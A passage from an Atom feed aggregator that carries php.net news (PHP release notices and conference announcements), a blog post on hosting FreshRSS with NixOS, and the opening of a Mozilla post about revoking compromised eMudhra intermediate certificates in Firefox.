&lt;p&gt;You can also find us on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://twitter.com/LaraconUS&quot;&gt;X / Twitter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://cfp.longhornphp.com/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/longhornphp.png&quot; alt=&quot;Longhorn PHP&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Longhorn PHP is back, with a slightly updated format - this year our conference in Austin, TX, will feature a tutorial day (Thursday, October 15), followed by a main conference day (Friday, October 16). We are currently accepting talk and tutorial submissions. While the CFP is open, we also have our Blind Bird tickets available for sale.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.longhornphp.com/&quot;&gt;Register today!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Follow us on &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://phpc.social/@longhorn&quot;&gt;Mastodon&lt;/a&gt; signup for emails at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.longhornphp.com/&quot;&gt;longhornphp.com&lt;/a&gt; to get notified with important conference updates.&lt;/p&gt;
&lt;p&gt;07 May 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-05-07-4&quot;&gt;PHP 8.5.6 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.6. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.6 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.6&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;07 May 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-05-07-3&quot;&gt;PHP 8.2.31 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.2.31. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.2 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.2.31 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.2&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.2.31&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;07 May 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-05-07-2&quot;&gt;PHP 8.4.21 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.21. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.21 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.21&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;07 May 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-05-07-1&quot;&gt;PHP 8.3.31 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.3.31. This is a security release.&lt;/p&gt;
&lt;p&gt;All PHP 8.3 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.3.31 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.3&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.3.31&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;04 May 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lp.jetbrains.com/phpverse-2026/?utm_source=php.net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpverse2026&quot;&gt;JetBrains PHPverse 2026&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lp.jetbrains.com/phpverse-2026/?utm_source=php.net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpverse2026&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/phpverse_2026.png&quot; alt=&quot;JetBrains PHPverse 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Join us for &lt;strong&gt;JetBrains PHPverse 2026&lt;/strong&gt; on June 9 – a global live streaming event dedicated to modern PHP practices and the future of the language.&lt;/p&gt;
&lt;p&gt;This year&#39;s lineup features talks by renowned voices in the PHP community, including Larry Garfield, Fabien Potencier, Nils Adermann, Elizabeth Barron, and more. You can tune in for the whole day or drop in for the talks that interest you most. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lp.jetbrains.com/phpverse-2026/?utm_source=php.net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpverse2026#program&quot;&gt;See the full program here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;📅 &lt;strong&gt;June 9, 2026&lt;/strong&gt;&lt;br /&gt;
📍 &lt;strong&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lp.jetbrains.com/phpverse-2026/?utm_source=php.net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpverse2026&quot;&gt;Online&lt;/a&gt;&lt;/strong&gt; – free and open to everyone&lt;/p&gt;
&lt;p&gt;In 2025, PHPverse reached over 55,000 developers worldwide — be part of it this year! &lt;strong&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lp.jetbrains.com/phpverse-2026/?utm_source=php.net&amp;amp;utm_medium=referral&amp;amp;utm_campaign=phpverse2026&quot;&gt;Register now&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;09 Apr 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-04-09-2&quot;&gt;PHP 8.4.20 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.20. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.20 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.20&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;09 Apr 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-04-09-1&quot;&gt;PHP 8.5.5 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.5. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.5 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.5&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;12 Mar 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-03-12-2&quot;&gt;PHP 8.5.4 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.4. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.4 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.4&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;12 Mar 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-03-12-1&quot;&gt;PHP 8.4.19 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.19. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.19 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.19&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;12 Feb 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-02-12-2&quot;&gt;PHP 8.5.3 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.3. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.3 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.3&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;12 Feb 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-02-12-1&quot;&gt;PHP 8.4.18 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.18. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.18 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.18&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://laravellive.dk&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/laravellivedk2026.png&quot; alt=&quot;Laravel Live Denmark 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Laravel Live Denmark is back! The conference is a two-day Laravel conference held in Copenhagen, Denmark on the 20 - 21. August 2026.&lt;/p&gt;
&lt;p&gt;Join us and 300 other Laravel and PHP enthusiasts from around the world got for two days of learning, 16 speakers and more within the Laravel community.&lt;/p&gt;
&lt;p&gt;Information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;August 20-21, 2026&lt;/li&gt;
&lt;li&gt;Copenhagen, Denmark&lt;/li&gt;
&lt;li&gt;16 speakers&lt;/li&gt;
&lt;li&gt;+300 Laravel and PHP enthusiasts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For more information, see &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://laravellive.dk&quot;&gt;Laravel Live Denmark 2026&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can also find us at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://twitter.com/laravellivedk&quot;&gt;Twitter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;15 Jan 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-01-15-3&quot;&gt;PHP 8.5.2 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.5.2. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.5 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.5.2 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.5&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.5.2&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;15 Jan 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-01-15-2&quot;&gt;PHP 8.3.30 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.3.30. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.3 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.3.30 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.3&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.3.30&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;15 Jan 2026&lt;/p&gt;
&lt;h2&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/archive/2026.php#2026-01-15-1&quot;&gt;PHP 8.4.17 Released!&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The PHP development team announces the immediate availability of PHP 8.4.17. This is a bug fix release.&lt;/p&gt;
&lt;p&gt;All PHP 8.4 users are encouraged to upgrade to this version.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 8.4.17 please visit our &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php&quot;&gt;downloads page&lt;/a&gt;, Windows source and binaries can also be found &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/downloads.php?os=windows&amp;amp;version=8.4&quot;&gt;there&lt;/a&gt;. The list of changes is recorded in the &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.php.net/ChangeLog-8.php#8.4.17&quot;&gt;ChangeLog&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phpvelhoeste.com.br&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://www.php.net//images/news/php_velho_oeste_350x300px.png&quot; alt=&quot;PHP Velho Oeste 2026&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phpvelhoeste.com.br&quot;&gt;PHP Velho Oeste&lt;/a&gt; is a national-level conference that takes place annually in the West of Santa Catarina, Brazil, known as Velho Oeste(Old West).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Knowledge + Networking&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this event, several relevant topics will be covered, from the latest language updates to best development practices. You will have the opportunity to expand your PHP knowledge and stay up to date with the latest market trends.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Date: May 29-30, 2025&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Location: Unochapecó Noble Hall in Chapecó, Santa Catarina, Brazil.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;See how it was last year: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.phpvelhoeste.com.br/2025/&quot;&gt;PHP Velho Oeste 2025&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Follow us on social media: &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.linkedin.com/company/php-velho-oeste&quot;&gt;LinkedIn&lt;/a&gt; / &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.instagram.com/phpvelhooeste/&quot;&gt;Instagram&lt;/a&gt; / &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.youtube.com/@phpvelhooeste&quot;&gt;YouTube&lt;/a&gt; / &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://x.com/phpvelhooeste&quot;&gt;X&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:bbccde1c9a23f524aa9731eec9118e91e610a038</id>
    <title type="text">NixOS is making me less afraid</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-20-nixos-is-making-me-less-afraid/"/>
    <link rel="via" type="text/html" href="https://entropicthoughts.com/nixos-is-making-me-less-afraid"/>
    <published>2026-10-20T13:44:53+00:00</published>
    <updated>2026-10-20T13:44:53+00:00</updated>
    <author>
      <name>entropicthoughts.com via LolPython</name>
    </author>
    <category term="news"/>
    <category term="nix"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://entropicthoughts.com/image/banner/nixos-is-making-me-less-afraid.jpg&quot; alt=&quot;nixos-is-making-me-less-afraid.jpg&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Something funny happened a little while ago: I read about FreshRSS, and it sounded nice, so I &lt;em&gt;installed it on a server and started using it&lt;/em&gt;. That would not have happened a year ago, but then again, a year ago I didn’t have any NixOS servers.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For the past few years, my rss feeds have lived locally on my phone only. There was a good idea behind that1 1 I can mostly take time to read when I’m away from my computer anyway., but it never quite worked in practice. For one, many things are easier to read on a larger screen. But it was also brittle to trust a phone app to manage the read/unread status of thousands of articles across a hundred feeds.2 2 In particular, when I switched to a different phone I could migrate all feeds to it, but the read/unread status was lost along the way. What I really wanted was a server-side feed aggregator. This is software that runs on a server, manages rss feeds, and then I can read the rss feeds either through a web interface, or through client applications. I’ve wanted that for a while, but I’ve never taken the step, because it would be yet another side project to maintain the deployment of.&lt;/p&gt;
&lt;p&gt;But now, with some NixOS experience, adding a working FreshRSS configuration (including backups) took 9 lines of Nix code3 3 Plus a dozen more lines for the nginx reverse proxy configuration. It got a little complicated because I wanted to &lt;code&gt;proxy_pass&lt;/code&gt; from a specific location block which required rewriting cookie paths. But that’s a me problem, not a NixOS problem.. That installation has just hands-off worked for the past few months. If or when that server breaks, I can spin up a new one running the exact same configuration, probably in something like 15 minutes. When we can do something like that, there is literally no reason to not just try the new software.&lt;/p&gt;
&lt;p&gt;Contrast this against how FreshRSS is installed outside of NixOS. Then we’d&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;download and extract an archive to the right location;&lt;/li&gt;
&lt;li&gt;configure permissions according to instructions;&lt;/li&gt;
&lt;li&gt;install nginx and php-fpm with necessary extra dependencies to the server;&lt;/li&gt;
&lt;li&gt;configure php-fpm pools and make nginx pass requests through to php-fpm;&lt;/li&gt;
&lt;li&gt;set up Let’s Encrypt certificates;&lt;/li&gt;
&lt;li&gt;set up backups; and&lt;/li&gt;
&lt;li&gt;hopefully remember how to do all the above if something breaks and we need to reinstall FreshRSS on a new or upgraded server later.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Of course, the FreshRSS project provides a container image which would shorten the process a little bit. It purports to set up Apache with mod_php and configure them the right way. Then we’d only need to configure backups, create a systemd service that runs the container, and manage nginx as a tls terminating reverse proxy in front of that, because the container image reasonably does not come with tls support. This is still stuff to remember, and there’s also no guarantee the same thing works six months down the line when reinstalling, unless we wrote down which exact container image we downloaded.4 4 It does not help to build the container image from source, because two builds from the same Dockerfile separated by time can result in rather different container images.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I have mentioned before how much I dislike maintaining side projects. That includes my own code, but also self-hosted services developed by someone else. I’m okay with a few minutes of maintenance here and there, but having to schedule hours of uninterrupted work to upgrade something, or spending &lt;em&gt;any&lt;/em&gt; amount of time at all on emergency maintenance, really kills my desire to work with computers.&lt;/p&gt;
&lt;p&gt;You’d think someone of my disposition would be deep into configuration management, container orchestration, or both, but no. I have made honest attempts with CFEngine, Ansible, podman, and k3s but none of them improved my installation/configuration/deployment experience significantly over (a) carefully writing things down, and sometimes (b) turning those careful notes into a shell script performing a sequence of &lt;code&gt;ssh&lt;/code&gt; commands.5 5 Yes, this is essentially reinventing Ansible – but less brittle. It won’t break the next time someone glances sideways at &lt;code&gt;pip&lt;/code&gt;. The drawback of the shell script is that it often ends up relying on assumptions that become invalid with time, or when it is used in a different environment. A NixOS configuration reads a lot like the careful instructions to myself, except they’re executable and they produce the same result every time.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:b39db1c674eab6dba637e028bbdd4ff1433b37b3</id>
    <title type="text">Protecting Firefox users following the compromise of eMudhra intermediate certificates</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-20-protecting-firefox-users-following-the-compromise-of/"/>
    <link rel="via" type="text/html" href="https://blog.mozilla.org/security/2026/10/20/protecting-firefox-users-following-the-compromise-of-emudhra-intermediate-certificates/"/>
    <published>2026-10-20T13:00:50+00:00</published>
    <updated>2026-10-20T13:00:50+00:00</updated>
    <author>
      <name>blog.mozilla.org via freddyb</name>
    </author>
    <category term="news"/>
    <category term="security"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;On Saturday, October 17, at 20:06 UTC, Mozilla received a report that private keys associated with eight eMudhra intermediate certificates had been compromised. These keys could allow attackers to issue fraudulent HTTPS certificates for websites they do not control. An attacker who could intercept a user’s connection could use those certificates to impersonate websites and potentially read or modify traffic.&lt;/p&gt;
&lt;p&gt;Mozilla engineers responded immediately, blocking the affected certificates in Firefox using &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.mozilla.org/security/2015/03/03/revoking-intermediate-certificates-introducing-onecrl/&quot;&gt;OneCRL&lt;/a&gt;, Mozilla’s centralized list of revoked certificates. OneCRL delivers this protection without requiring users to update or restart Firefox.&lt;/p&gt;
&lt;p&gt;By 22:59 UTC that same day, in less than 3 hours after we received the report, the updated OneCRL distribution was complete for all Firefox users with standard configurations.&lt;/p&gt;
